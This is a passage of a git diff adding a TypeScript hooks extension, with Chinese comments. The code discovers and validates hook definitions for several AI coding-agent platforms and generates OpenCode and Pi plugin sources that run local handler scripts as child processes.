/^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** 单个 Handler 接受和输出的最大 JSON 字节数。 */ +export const MAX_HOOK_IO_BYTES: number = 1024 * 1024; diff --git a/packages/extensions/hooks/src/discovery.ts b/packages/extensions/hooks/src/discovery.ts new file mode 100644 index 0000000..9ab2347 --- /dev/null +++ b/packages/extensions/hooks/src/discovery.ts @@ -0,0 +1,631 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { + ExtensionDiscoverContext, + ExtensionValidateContext, +} from '@tokenroll/acplugin'; +import { + ANTIGRAVITY_PLATFORM_ID, + CLAUDE_CODE_PLATFORM_ID, + CODEX_PLATFORM_ID, + CURSOR_PLATFORM_ID, + HOOK_ID_PATTERN, + OPENCODE_PLATFORM_ID, + PI_PLATFORM_ID, + PLATFORM_ID_PATTERN, +} from './constants.js'; +import { + CLAUDE_CODE_PLATFORM_EVENTS, + HOOK_EVENTS, + isHookDefinition, + type HookDefinition, + type HookEvent, + type PlatformHookEvent, +} from './types.js'; + +/** discover 阶段保存的 Hook ID、来源目录和已执行定义。 */ +export interface DiscoveredHook { + /** 从一级目录名称取得的稳定 Hook ID。 */ + readonly id: string; + /** 当前 Hook 的绝对源码目录。 */ + readonly directory: string; + /** 必需 `hook.ts` 描述文件的绝对路径。 */ + readonly sourcePath: string; + /** 由 defineHook 创建并完成加载的作者定义。 */ + readonly definition: HookDefinition; +} + +/** 非空 discover 结果,作为 Core 判断 Extension 拥有实际资源的信号。 */ +export interface DiscoveredHooks { + /** 按 Hook ID 稳定排序的发现结果。 */ + readonly hooks: readonly DiscoveredHook[]; +} + +/** validate 阶段读取的已配置 Platform 快照。 */ +export interface HooksValidationEnvironment { + /** 当前构建已配置且可接收平台事件或专属字段的 Platform ID。 */ + readonly configuredPlatforms: ReadonlySet; +} + +/** Hook 定义根节点允许作者声明的字段。 */ +const HOOK_DEFINITION_FIELDS = new Set([ + 'event', + 'matcher', + 'timeout', + 'statusMessage', + 'platforms', + 'run', +]); + +/** Claude Code 单 Hook 平台覆盖允许的字段。 */ +const CLAUDE_CODE_OPTION_FIELDS = new Set(['matcher', 'timeout', 'statusMessage']); + +/** Codex 单 Hook 平台覆盖允许的字段。 */ +const CODEX_OPTION_FIELDS = new Set([ + 'matcher', + 'timeout', + 'statusMessage', + 'additionalContextLimit', +]); + +/** 其余官方 Adapter 共同接受的执行选项字段。 */ +const PORTABLE_OPTION_FIELDS = new Set(['matcher', 'timeout', 'statusMessage']); + +/** 具有稳定 Platform 选项 Schema 的官方 Adapter ID。 */ +const PORTABLE_OPTION_PLATFORMS = new Set([ + CURSOR_PLATFORM_ID, + ANTIGRAVITY_PLATFORM_ID, + OPENCODE_PLATFORM_ID, + PI_PLATFORM_ID, +]); + +/** 用于运行时验证的规范事件集合。 */ +const HOOK_EVENT_SET = new Set(HOOK_EVENTS); + +/** 用于 Claude Code Adapter Schema 验证的平台专属事件集合。 */ +const CLAUDE_CODE_EVENT_SET = new Set(CLAUDE_CODE_PLATFORM_EVENTS); + +/** + * 兼容 TypeScript Loader 返回模块命名空间或已解包默认导出两种形态。 + * + * @param value TypeScript 描述文件的加载结果。 + * @returns 存在 default 时返回 default,否则返回原值。 + */ +function unwrapDefault(value: unknown): unknown { + if (value !== null && typeof value === 'object' && 'default' in value) + return (value as { readonly default: unknown }).default; + return value; +} + +/** + * 把绝对描述文件路径转换为不泄露工程根的诊断位置。 + * + * @param context 当前 discover 上下文。 + * @param sourcePath 需要报告的绝对来源路径。 + * @returns 以 srcDir 为基准且统一使用 POSIX 分隔符的位置。 + */ +function sourceLocation(context: ExtensionDiscoverContext, sourcePath: string): string { + /** 相对于规范源码根的安全报告路径。 */ + const relative = path.relative(context.srcDir, sourcePath).split(path.sep).join('/'); + return relative.startsWith('../') ? path.basename(sourcePath) : relative; +} + +/** + * 把 Hook 描述文件转换为相对于工程根的稳定诊断位置。 + * + * @param context 当前 validate 上下文。 + * @param hook 需要报告位置的 Hook。 + * @returns 不包含宿主绝对目录的 POSIX 工程路径。 + */ +function hookLocation(context: ExtensionValidateContext, hook: DiscoveredHook): string { + return path.relative(context.project.root, hook.sourcePath).split(path.sep).join('/'); +} + +/** + * 扫描并加载 `src/hooks//hook.ts` 作者格式。 + * + * @param context Core 提供的隔离工作目录、源码根和 TypeScript Loader。 + * @param include 可选的显式 Hook ID 白名单。 + * @returns 没有选中资源时返回 undefined,否则返回稳定发现状态。 + */ +export async function discoverHooks( + context: ExtensionDiscoverContext, + include?: ReadonlySet, +): Promise { + /** Hooks Extension 独占的固定作者源码根。 */ + const root = path.join(context.srcDir, 'hooks'); + /** Hook 根目录中的一级目录项。 */ + let entries: import('node:fs').Dirent[]; + try { + entries = await fs.readdir(root, { withFileTypes: true }); + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') + return undefined; + throw error; + } + + /** 成功加载并通过品牌检查的 Hook 定义。 */ + const hooks: DiscoveredHook[] = []; + /** include 中已经在源码目录找到的 Hook ID。 */ + const includedIds = new Set(); + for (const entry of entries.sort((left, right) => left.name.localeCompare(right.name, 'en'))) { + /** 当前 Hook 候选目录的绝对路径。 */ + const directory = path.join(root, entry.name); + if (!entry.isDirectory() || !HOOK_ID_PATTERN.test(entry.name)) { + context.reportDiagnostic({ + code: 'HOOK_ENTRY_INVALID', + severity: 'error', + message: 'Hook entries must be one-level lowercase kebab-case directories.', + location: { path: sourceLocation(context, directory) }, + }); + continue; + } + if (include !== undefined && !include.has(entry.name)) + continue; + includedIds.add(entry.name); + /** 当前 Hook 必需的 TypeScript 描述文件。 */ + const sourcePath = path.join(directory, 'hook.ts'); + try { + /** Loader 执行并解包后的 Hook 定义候选值。 */ + const definition = unwrapDefault(await context.loadTypeScriptModule(sourcePath)); + if (!isHookDefinition(definition)) + throw new TypeError('Hook descriptor must use defineHook().'); + hooks.push(Object.freeze({ id: entry.name, directory, sourcePath, definition })); + } catch { + context.reportDiagnostic({ + code: 'HOOK_LOAD_FAILED', + severity: 'error', + message: `Hook "${entry.name}" descriptor could not be loaded or was not created by defineHook().`, + location: { path: sourceLocation(context, sourcePath) }, + }); + } + } + + if (include !== undefined) { + /** id 表示当前显式 include 项,用于报告不存在的作者资源。 */ + for (const id of include) { + if (!includedIds.has(id)) { + context.reportDiagnostic({ + code: 'HOOK_INCLUDE_MISSING', + severity: 'error', + message: `Included Hook "${id}" does not exist under src/hooks.`, + location: { path: `hooks/${id}` }, + }); + } + } + } + + /** 目录完全为空或 include 明确没有选择资源时不激活 Extension。 */ + const hasSelectedResource = hooks.length > 0 || includedIds.size > 0; + return hasSelectedResource ? Object.freeze({ hooks: Object.freeze(hooks) }) : undefined; +} + +/** + * 判断未知值是否为不带自定义原型的普通对象。 + * + * @param value 待验证的作者配置值。 + * @returns 值可安全按自有字段读取时返回 true。 + */ +function isPlainObject(value: unknown): value is Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) + return false; + /** 候选对象的原型,用于拒绝类实例和其他可执行访问器容器。 */ + const prototype = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; +} + +/** + * 校验 matcher 的字符串形态和可执行正则语法。 + * + * @param context Core 提供的诊断出口。 + * @param hook 当前 Hook 描述。 + * @param value 待验证的 matcher。 + * @param fieldPath matcher 所在的稳定字段路径。 + */ +function validateMatcher( + context: ExtensionValidateContext, + hook: DiscoveredHook, + value: unknown, + fieldPath: readonly (string | number)[], +): void { + if (typeof value !== 'string') { + context.reportDiagnostic({ + code: 'HOOK_MATCHER_INVALID', + severity: 'error', + message: `Hook "${hook.id}" matcher must be a string.`, + location: { path: hookLocation(context, hook) }, + fieldPath, + }); + return; + } + if (value === '' || value === '*') + return; + try { + /** matcher 需要能被两个默认平台的正则实现解析。 */ + const expression = new RegExp(value); + void expression; + } catch { + context.reportDiagnostic({ + code: 'HOOK_MATCHER_INVALID', + severity: 'error', + message: `Hook "${hook.id}" matcher is not a valid regular expression.`, + location: { path: hookLocation(context, hook) }, + fieldPath, + }); + } +} + +/** + * 校验 timeout 是平台配置接受的正有限秒数。 + * + * @param context Core 提供的诊断出口。 + * @param hook 当前 Hook 描述。 + * @param value 待验证的 timeout。 + * @param fieldPath timeout 所在的稳定字段路径。 + */ +function validateTimeout( + context: ExtensionValidateContext, + hook: DiscoveredHook, + value: unknown, + fieldPath: readonly (string | number)[], +): void { + if (typeof value !== 'number' || !Number.isFinite(value) || value <= 0) { + context.reportDiagnostic({ + code: 'HOOK_TIMEOUT_INVALID', + severity: 'error', + message: `Hook "${hook.id}" timeout must be a positive finite number of seconds.`, + location: { path: hookLocation(context, hook) }, + fieldPath, + }); + } +} + +/** + * 校验状态消息是可安全展示的非空字符串。 + * + * @param context Core 提供的诊断出口。 + * @param hook 当前 Hook 描述。 + * @param value 待验证的状态消息。 + * @param fieldPath 状态消息所在的稳定字段路径。 + */ +function validateStatusMessage( + context: ExtensionValidateContext, + hook: DiscoveredHook, + value: unknown, + fieldPath: readonly (string | number)[], +): void { + if (typeof value !== 'string' || value.trim().length === 0) { + context.reportDiagnostic({ + code: 'HOOK_STATUS_MESSAGE_INVALID', + severity: 'error', + message: `Hook "${hook.id}" statusMessage must be a non-empty string.`, + location: { path: hookLocation(context, hook) }, + fieldPath, + }); + } +} + +/** + * 返回 Hook 实际声明的 Platform ID;规范事件没有单平台限制。 + * + * @param event Hook 定义中的事件声明。 + * @returns 平台事件的 Platform ID,规范事件返回 undefined。 + */ +export function platformForEvent(event: HookDefinition['event']): string | undefined { + return typeof event === 'string' ? undefined : event.platform; +} + +/** + * 返回 Hook 在平台配置中使用的原生事件名。 + * + * @param event Hook 定义中的事件声明。 + * @returns 规范事件字符串或平台事件的 name。 + */ +export function eventName(event: HookDefinition['event']): string { + return typeof event === 'string' ? event : event.name; +} + +/** + * 校验规范事件或显式平台限定事件,并应用 Adapter 已知事件集合。 + * + * @param context Core 提供的诊断出口。 + * @param hook 当前 Hook 描述。 + * @param environment 当前构建配置的 Platform 快照。 + */ +function validateEvent( + context: ExtensionValidateContext, + hook: DiscoveredHook, + environment: HooksValidationEnvironment, +): void { + /** 当前作者声明的事件值。 */ + const event = hook.definition.event; + if (typeof event === 'string') { + if (!HOOK_EVENT_SET.has(event)) { + context.reportDiagnostic({ + code: 'HOOK_EVENT_UNSUPPORTED', + severity: 'error', + message: `Hook "${hook.id}" must use a canonical event or { platform, name } for a platform-only event.`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['event'], + }); + } + return; + } + if (!isPlainObject(event) + || typeof event.platform !== 'string' + || !PLATFORM_ID_PATTERN.test(event.platform) + || typeof event.name !== 'string' + || event.name.trim().length === 0 + || Object.keys(event).some(field => field !== 'platform' && field !== 'name')) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_EVENT_INVALID', + severity: 'error', + message: `Hook "${hook.id}" platform event must contain only a lowercase kebab-case platform and non-empty name.`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['event'], + }); + return; + } + /** 已完成形态检查的平台事件。 */ + const platformEvent = event as PlatformHookEvent; + if (!environment.configuredPlatforms.has(platformEvent.platform)) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_NOT_CONFIGURED', + severity: 'error', + message: `Hook "${hook.id}" targets unconfigured Platform "${platformEvent.platform}".`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['event', 'platform'], + }); + return; + } + if (platformEvent.platform === CLAUDE_CODE_PLATFORM_ID) { + if (HOOK_EVENT_SET.has(platformEvent.name)) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_EVENT_CANONICAL', + severity: 'error', + message: `Hook "${hook.id}" must declare canonical event "${platformEvent.name}" as a string.`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['event'], + }); + } else if (!CLAUDE_CODE_EVENT_SET.has(platformEvent.name)) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_EVENT_UNSUPPORTED', + severity: 'error', + message: `Claude Code Adapter does not recognize Hook event "${platformEvent.name}".`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['event', 'name'], + }); + } + return; + } + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_EVENT_UNSUPPORTED', + severity: 'error', + message: `Hooks Extension has no platform-only event schema for Platform "${platformEvent.platform}".`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['event'], + }); +} + +/** + * 校验一个 Platform 覆盖对象及其 Adapter 专属字段。 + * + * @param context Core 提供的诊断出口。 + * @param hook 当前 Hook 描述。 + * @param platform 当前覆盖所属 Platform ID。 + * @param value 待验证的平台覆盖对象。 + */ +function validatePlatformOptions( + context: ExtensionValidateContext, + hook: DiscoveredHook, + platform: string, + value: unknown, +): void { + /** 当前 Platform 覆盖对象的字段路径前缀。 */ + const prefix = ['platforms', platform] as const; + if (!isPlainObject(value)) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_OPTIONS_INVALID', + severity: 'error', + message: `Hook "${hook.id}" platforms.${platform} must be a plain object.`, + location: { path: hookLocation(context, hook) }, + fieldPath: prefix, + }); + return; + } + /** 当前官方 Adapter 允许的平台覆盖字段集合。 */ + const allowed = platform === CLAUDE_CODE_PLATFORM_ID + ? CLAUDE_CODE_OPTION_FIELDS + : platform === CODEX_PLATFORM_ID + ? CODEX_OPTION_FIELDS + : PORTABLE_OPTION_PLATFORMS.has(platform) + ? PORTABLE_OPTION_FIELDS + : undefined; + if (allowed === undefined) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_SCHEMA_UNAVAILABLE', + severity: 'error', + message: `Hooks Extension has no option schema for Platform "${platform}".`, + location: { path: hookLocation(context, hook) }, + fieldPath: prefix, + }); + return; + } + /** field 表示当前平台覆盖项,用于拒绝 Adapter 不认识的协议字段。 */ + for (const field of Object.keys(value)) { + if (!allowed.has(field)) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_FIELD_UNKNOWN', + severity: 'error', + message: `Hook "${hook.id}" platforms.${platform}.${field} is not supported by that Adapter.`, + location: { path: hookLocation(context, hook) }, + fieldPath: [...prefix, field], + }); + } + } + if (value.matcher !== undefined) + validateMatcher(context, hook, value.matcher, [...prefix, 'matcher']); + if (value.timeout !== undefined) + validateTimeout(context, hook, value.timeout, [...prefix, 'timeout']); + if (value.statusMessage !== undefined) + validateStatusMessage(context, hook, value.statusMessage, [...prefix, 'statusMessage']); + if (platform === CODEX_PLATFORM_ID && value.additionalContextLimit !== undefined + && (typeof value.additionalContextLimit !== 'number' + || !Number.isInteger(value.additionalContextLimit) + || value.additionalContextLimit < 0)) { + context.reportDiagnostic({ + code: 'HOOK_CONTEXT_LIMIT_INVALID', + severity: 'error', + message: `Hook "${hook.id}" Codex additionalContextLimit must be a non-negative integer.`, + location: { path: hookLocation(context, hook) }, + fieldPath: [...prefix, 'additionalContextLimit'], + }); + } +} + +/** + * 读取已通过普通对象校验的平台覆盖。 + * + * @param hook 当前 Hook 描述。 + * @param platform 需要读取的 Platform ID。 + * @returns 可索引覆盖对象;缺失或形态无效时返回 undefined。 + */ +export function platformOptions( + hook: DiscoveredHook, + platform: string, +): Readonly> | undefined { + /** Hook 定义中的平台覆盖根节点。 */ + const platforms = hook.definition.platforms; + if (!isPlainObject(platforms)) + return undefined; + /** 指定 Platform 对应的覆盖候选。 */ + const value = platforms[platform]; + return isPlainObject(value) ? value : undefined; +} + +/** + * 校验 Hook 定义、平台范围和两个官方 Adapter Schema。 + * + * @param context Core 提供的规范工程和诊断出口。 + * @param discovered discover 阶段得到的非空 Hooks 状态。 + * @param environment configResolved 阶段保存的平台快照。 + */ +export async function validateHooks( + context: ExtensionValidateContext, + discovered: Readonly, + environment: HooksValidationEnvironment, +): Promise { + for (const hook of discovered.hooks) { + /** field 表示当前定义的可枚举字段,用于阻断原始平台 Handler 协议。 */ + for (const field of Object.keys(hook.definition)) { + if (!HOOK_DEFINITION_FIELDS.has(field)) { + context.reportDiagnostic({ + code: 'HOOK_FIELD_UNKNOWN', + severity: 'error', + message: `Hook "${hook.id}" field "${field}" is not part of the canonical authoring contract.`, + location: { path: hookLocation(context, hook) }, + fieldPath: [field], + hint: 'Implement behavior inside run(); raw command, executable, HTTP, prompt, agent, and MCP-tool handlers are not accepted.', + }); + } + } + validateEvent(context, hook, environment); + if (typeof hook.definition.run !== 'function') { + context.reportDiagnostic({ + code: 'HOOK_RUN_REQUIRED', + severity: 'error', + message: `Hook "${hook.id}" must define run().`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['run'], + }); + } + if (hook.definition.matcher !== undefined) + validateMatcher(context, hook, hook.definition.matcher, ['matcher']); + if (hook.definition.timeout !== undefined) + validateTimeout(context, hook, hook.definition.timeout, ['timeout']); + if (hook.definition.statusMessage !== undefined) + validateStatusMessage(context, hook, hook.definition.statusMessage, ['statusMessage']); + + /** 当前 Hook 可选的平台专属补充字段根节点。 */ + const platforms = hook.definition.platforms; + if (platforms !== undefined && !isPlainObject(platforms)) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORMS_INVALID', + severity: 'error', + message: `Hook "${hook.id}" platforms must be a plain object keyed by Platform ID.`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['platforms'], + }); + continue; + } + if (platforms !== undefined) { + for (const [platform, value] of Object.entries(platforms)) { + if (!environment.configuredPlatforms.has(platform)) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_NOT_CONFIGURED', + severity: 'error', + message: `Hook "${hook.id}" configures unconfigured Platform "${platform}".`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['platforms', platform], + }); + continue; + } + /** 平台限定事件不能向其他平台附加无效覆盖。 */ + const eventPlatform = platformForEvent(hook.definition.event); + if (eventPlatform !== undefined && eventPlatform !== platform) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_EVENT_SCOPE_INVALID', + severity: 'error', + message: `Hook "${hook.id}" is limited to "${eventPlatform}" and cannot configure "${platform}".`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['platforms', platform], + }); + continue; + } + validatePlatformOptions(context, hook, platform, value); + } + } + + /** Codex 实际采用的超时值,用于落实 SessionEnd 官方三秒上限。 */ + const codexTimeout = platformOptions(hook, CODEX_PLATFORM_ID)?.timeout ?? hook.definition.timeout; + /** 当前事件的规范或平台原生名称。 */ + const name = eventName(hook.definition.event); + /** 当前 Hook 是否会交给 Codex Adapter。 */ + const appliesToCodex = platformForEvent(hook.definition.event) === undefined + || platformForEvent(hook.definition.event) === CODEX_PLATFORM_ID; + if (name === 'SessionEnd' + && appliesToCodex + && environment.configuredPlatforms.has(CODEX_PLATFORM_ID) + && typeof codexTimeout === 'number' + && codexTimeout > 3) { + context.reportDiagnostic({ + code: 'HOOK_TIMEOUT_PLATFORM_LIMIT', + severity: 'error', + message: `Hook "${hook.id}" exceeds Codex SessionEnd's 3 second maximum.`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['platforms', CODEX_PLATFORM_ID, 'timeout'], + }); + } + /** Claude Code 实际采用的超时值,用于落实 SessionEnd 官方六十秒上限。 */ + const claudeTimeout = platformOptions(hook, CLAUDE_CODE_PLATFORM_ID)?.timeout ?? hook.definition.timeout; + /** 当前 Hook 是否会交给 Claude Code Adapter。 */ + const appliesToClaude = platformForEvent(hook.definition.event) === undefined + || platformForEvent(hook.definition.event) === CLAUDE_CODE_PLATFORM_ID; + if (name === 'SessionEnd' + && appliesToClaude + && environment.configuredPlatforms.has(CLAUDE_CODE_PLATFORM_ID) + && typeof claudeTimeout === 'number' + && claudeTimeout > 60) { + context.reportDiagnostic({ + code: 'HOOK_TIMEOUT_PLATFORM_LIMIT', + severity: 'error', + message: `Hook "${hook.id}" exceeds Claude Code SessionEnd's 60 second maximum.`, + location: { path: hookLocation(context, hook) }, + fieldPath: ['platforms', CLAUDE_CODE_PLATFORM_ID, 'timeout'], + }); + } + } +} + +/** 供 Adapter 和 Runner 识别规范事件的只读集合。 */ +export const CANONICAL_HOOK_EVENT_SET: ReadonlySet = new Set(HOOK_EVENTS); diff --git a/packages/extensions/hooks/src/index.ts b/packages/extensions/hooks/src/index.ts new file mode 100644 index 0000000..4deaef2 --- /dev/null +++ b/packages/extensions/hooks/src/index.ts @@ -0,0 +1,125 @@ +import { + defineExtension, + type AcpluginExtension, +} from '@tokenroll/acplugin'; +import { createHooksAdapters } from './adapters.js'; +import { buildHooks, type BuiltHooks } from './bundler.js'; +import { EXTENSION_NAME, HOOK_ID_PATTERN } from './constants.js'; +import { + discoverHooks, + type DiscoveredHooks, + validateHooks, +} from './discovery.js'; + +export { EXTENSION_NAME } from './constants.js'; +export { + CLAUDE_CODE_PLATFORM_EVENTS, + defineHook, + HOOK_EVENTS, +} from './types.js'; +export type { + ClaudeCodeHookOptions, + ClaudeCodePlatformHookEvent, + CodexHookOptions, + HookAdvisoryResult, + HookContextResult, + HookDecisionResult, + HookDefinition, + HookDefinitionInput, + HookEvent, + HookEventDeclaration, + HookFlowResult, + HookInput, + HookInputBase, + HookInputByEvent, + HookPlatformOptions, + HookResult, + HookResultByEvent, + HookRuntimeContext, + PlatformHookEvent, + PortableHookOptions, +} from './types.js'; + +/** 创建 Hooks Extension 时可声明的作者资源筛选选项。 */ +export interface HooksExtensionOptions { + /** 只构建这些 `src/hooks/`;省略时构建全部 Hook。 */ + readonly include?: readonly string[]; +} + +/** Hooks Extension 工厂当前接受的公开配置字段。 */ +const HOOKS_OPTION_FIELDS = new Set(['include']); + +/** + * 拒绝宽类型变量传入的未知 Extension 工厂字段。 + * + * @param options 配置作者提供的 Hooks Extension 选项。 + */ +function validateOptions(options: HooksExtensionOptions): void { + if (options === null || typeof options !== 'object' || Array.isArray(options)) + throw new TypeError('Hooks options must be a plain object.'); + for (const field of Object.keys(options)) { + if (!HOOKS_OPTION_FIELDS.has(field)) + throw new TypeError(`Unknown Hooks option "${field}".`); + } +} + +/** + * 校验并冻结可选 Hook ID 白名单。 + * + * @param include 配置作者提供的可选 ID 数组。 + * @returns 省略时返回 undefined,否则返回去重后的只读集合。 + */ +function normalizeInclude(include: HooksExtensionOptions['include']): ReadonlySet | undefined { + if (include === undefined) + return undefined; + if (!Array.isArray(include)) + throw new TypeError('Hooks include must be an array of lowercase kebab-case IDs.'); + /** 去重后提供给 discover 阶段的 Hook ID。 */ + const result = new Set(); + /** id 表示当前显式选择的 Hook ID。 */ + for (const id of include) { + if (typeof id !== 'string' || !HOOK_ID_PATTERN.test(id)) + throw new TypeError('Hooks include must contain only lowercase kebab-case IDs.'); + if (result.has(id)) + throw new TypeError(`Hooks include contains duplicate ID "${id}".`); + result.add(id); + } + return result; +} + +/** + * 创建端到端拥有 Hook 作者格式、Bundle 和官方 Adapter 的品牌化 Extension。 + * + * @param options 可选的 Hook ID 白名单。 + * @returns 参与 Core 固定生命周期的 Hooks Extension。 + */ +export function hooks( + options: HooksExtensionOptions = {}, +): AcpluginExtension { + validateOptions(options); + /** 每个 Extension 实例独占且不可被作者随后修改的 include 集合。 */ + const include = normalizeInclude(options.include); + /** configResolved 刷新的已配置 Platform ID 快照。 */ + let configuredPlatforms: ReadonlySet = new Set(); + return defineExtension({ + name: EXTENSION_NAME, + apiVersion: '1', + /** 保存当前构建 Platform 身份,供平台事件和专属字段提前验证。 */ + configResolved: (context) => { + configuredPlatforms = new Set(context.platforms.map(platform => platform.id)); + }, + /** 扫描 Extension 独占的 `src/hooks` 作者格式。 */ + discover: context => discoverHooks(context, include), + /** 在 Bundle 前验证规范事件、平台范围和 Adapter Schema。 */ + validate: (context, discovered) => discovered === undefined + ? undefined + : validateHooks(context, discovered, { configuredPlatforms }), + /** 每个 Hook 只生成一份由多个 Adapter 复用的平台中立 Handler。 */ + build: (context, discovered) => discovered === undefined + ? Object.freeze({ hooks: Object.freeze([]) }) + : buildHooks(context, discovered), + adapters: createHooksAdapters(), + }); +} + +export default hooks; diff --git a/packages/extensions/hooks/src/runtime-adapter-source.ts b/packages/extensions/hooks/src/runtime-adapter-source.ts new file mode 100644 index 0000000..4a354fc --- /dev/null +++ b/packages/extensions/hooks/src/runtime-adapter-source.ts @@ -0,0 +1,191 @@ +import type { BundledHook } from './bundler.js'; +import { eventName } from './discovery.js'; + +/** 运行时 Platform Plugin 需要的单个 Hook 静态描述。 */ +interface RuntimeHookDescriptor { + /** 规范 Hook ID。 */ + readonly id: string; + /** 规范事件名。 */ + readonly event: string; + /** 工具事件使用的可选正则 matcher。 */ + readonly matcher?: string; + /** 子进程超时毫秒数。 */ + readonly timeout: number; +} + +/** + * 把 Built Hook 转换为不含函数和源码路径的运行时描述。 + * + * @param hook 已完成平台中立 Bundle 的 Hook。 + * @param matcher 当前 Platform 合并后的 matcher。 + * @param timeout 当前 Platform 合并后的超时秒数。 + * @returns 可安全嵌入生成运行时代码的静态 JSON 数据。 + */ +export function runtimeHookDescriptor( + hook: BundledHook, + matcher: string | undefined, + timeout: number | undefined, +): RuntimeHookDescriptor { + return Object.freeze({ + id: hook.id, + event: eventName(hook.definition.event), + ...(matcher === undefined ? {} : { matcher }), + timeout: Math.max(1, Math.round((timeout ?? 30) * 1_000)), + }); +} + +/** + * 创建 OpenCode runtime Plugin 源码。 + * + * 生成代码只依赖 Node 内置模块,通过子进程运行同一平台中立 Handler;Plugin + * 自身负责把 OpenCode callback 输入规范化,并把决策应用回 callback output。 + * + * @param hooks 已筛选为 OpenCode 支持事件的静态描述。 + * @returns 可直接放入 `.opencode/plugins` 的 ESM 源码。 + */ +export function createOpenCodePluginSource(hooks: readonly RuntimeHookDescriptor[]): string { + return ` +import { spawn } from 'node:child_process'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; + +const hooks = ${JSON.stringify(hooks)}; +const pluginFile = fileURLToPath(import.meta.url); +const workspaceRoot = path.resolve(path.dirname(pluginFile), '../..'); + +function matches(hook, input) { + if (!hook.matcher || hook.matcher === '*') return true; + const subject = input.tool_name || input.toolName || input.tool?.name || ''; + return new RegExp(hook.matcher).test(subject); +} + +function execute(hook, input) { + return new Promise((resolve, reject) => { + const handler = path.join(workspaceRoot, '.opencode', 'acplugin-hooks', hook.id, 'handler.mjs'); + const child = spawn(process.execPath, [handler, 'opencode'], { + cwd: workspaceRoot, + env: { ...process.env, PLUGIN_ROOT: workspaceRoot, PLUGIN_DATA: path.join(workspaceRoot, '.opencode', 'data') }, + stdio: ['pipe', 'pipe', 'pipe'], + }); + let stdout = ''; + let stderr = ''; + const timer = setTimeout(() => child.kill('SIGTERM'), hook.timeout); + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', chunk => { stdout += chunk; }); + child.stderr.on('data', chunk => { stderr += chunk; }); + child.on('error', reject); + child.on('close', (code) => { + clearTimeout(timer); + if (code !== 0) reject(new Error('acplugin Hook failed.')); + else resolve(stdout.trim() ? JSON.parse(stdout) : undefined); + }); + child.stdin.end(JSON.stringify({ session_id: '', cwd: workspaceRoot, hook_event_name: hook.event, ...input })); + }); +} + +async function run(event, input, output) { + for (const hook of hooks.filter(candidate => candidate.event === event && matches(candidate, input))) { + const result = await execute(hook, input); + if (!result) continue; + if (result.updatedInput && output && typeof output === 'object') output.args = result.updatedInput; + if (result.additionalContext && output && Array.isArray(output.parts)) + output.parts.push({ type: 'text', text: result.additionalContext, synthetic: true }); + if (result.decision === 'deny' || result.decision === 'block' || result.decision === 'continue') + throw new Error(result.reason || 'Blocked by acplugin Hook.'); + } +} + +export default async function acpluginHooks() { + return { + 'chat.message': (input, output) => run('UserPromptSubmit', { ...input, prompt: input.prompt || input.message || '' }, output), + 'tool.execute.before': (input, output) => run('PreToolUse', input, output), + 'tool.execute.after': (input, output) => run('PostToolUse', input, output), + event: async ({ event }) => { + const mapping = { + 'session.created': 'SessionStart', + 'session.deleted': 'SessionEnd', + 'session.compacted': 'PostCompact', + 'session.idle': 'Stop', + }; + const canonical = mapping[event?.type]; + if (canonical) await run(canonical, event, undefined); + }, + }; +} +`; +} + +/** + * 创建 Pi Extension 源码。 + * + * @param hooks 已筛选为 Pi 支持事件的静态描述。 + * @returns 默认导出 Pi Extension 工厂的 Node ESM 源码。 + */ +export function createPiExtensionSource(hooks: readonly RuntimeHookDescriptor[]): string { + return ` +import { spawn } from 'node:child_process'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; + +const hooks = ${JSON.stringify(hooks)}; +const extensionFile = fileURLToPath(import.meta.url); +const packageRoot = path.resolve(path.dirname(extensionFile), '..'); +const events = { + SessionStart: 'session_start', + SessionEnd: 'session_shutdown', + UserPromptSubmit: 'input', + PreToolUse: 'tool_call', + PostToolUse: 'tool_result', + PreCompact: 'session_before_compact', + PostCompact: 'session_compact', + Stop: 'agent_end', +}; + +function matches(hook, input) { + if (!hook.matcher || hook.matcher === '*') return true; + const subject = input.tool_name || input.toolName || input.tool?.name || ''; + return new RegExp(hook.matcher).test(subject); +} + +function execute(hook, input) { + return new Promise((resolve, reject) => { + const handler = path.join(packageRoot, 'extensions', 'acplugin-hooks', hook.id, 'handler.mjs'); + const child = spawn(process.execPath, [handler, 'pi'], { + cwd: packageRoot, + env: { ...process.env, PLUGIN_ROOT: packageRoot, PLUGIN_DATA: path.join(packageRoot, '.pi-data') }, + stdio: ['pipe', 'pipe', 'pipe'], + }); + let stdout = ''; + const timer = setTimeout(() => child.kill('SIGTERM'), hook.timeout); + child.stdout.setEncoding('utf8'); + child.stdout.on('data', chunk => { stdout += chunk; }); + child.on('error', reject); + child.on('close', (code) => { + clearTimeout(timer); + if (code !== 0) reject(new Error('acplugin Hook failed.')); + else resolve(stdout.trim() ? JSON.parse(stdout) : undefined); + }); + child.stdin.end(JSON.stringify({ session_id: '', cwd: packageRoot, hook_event_name: hook.event, ...input })); + }); +} 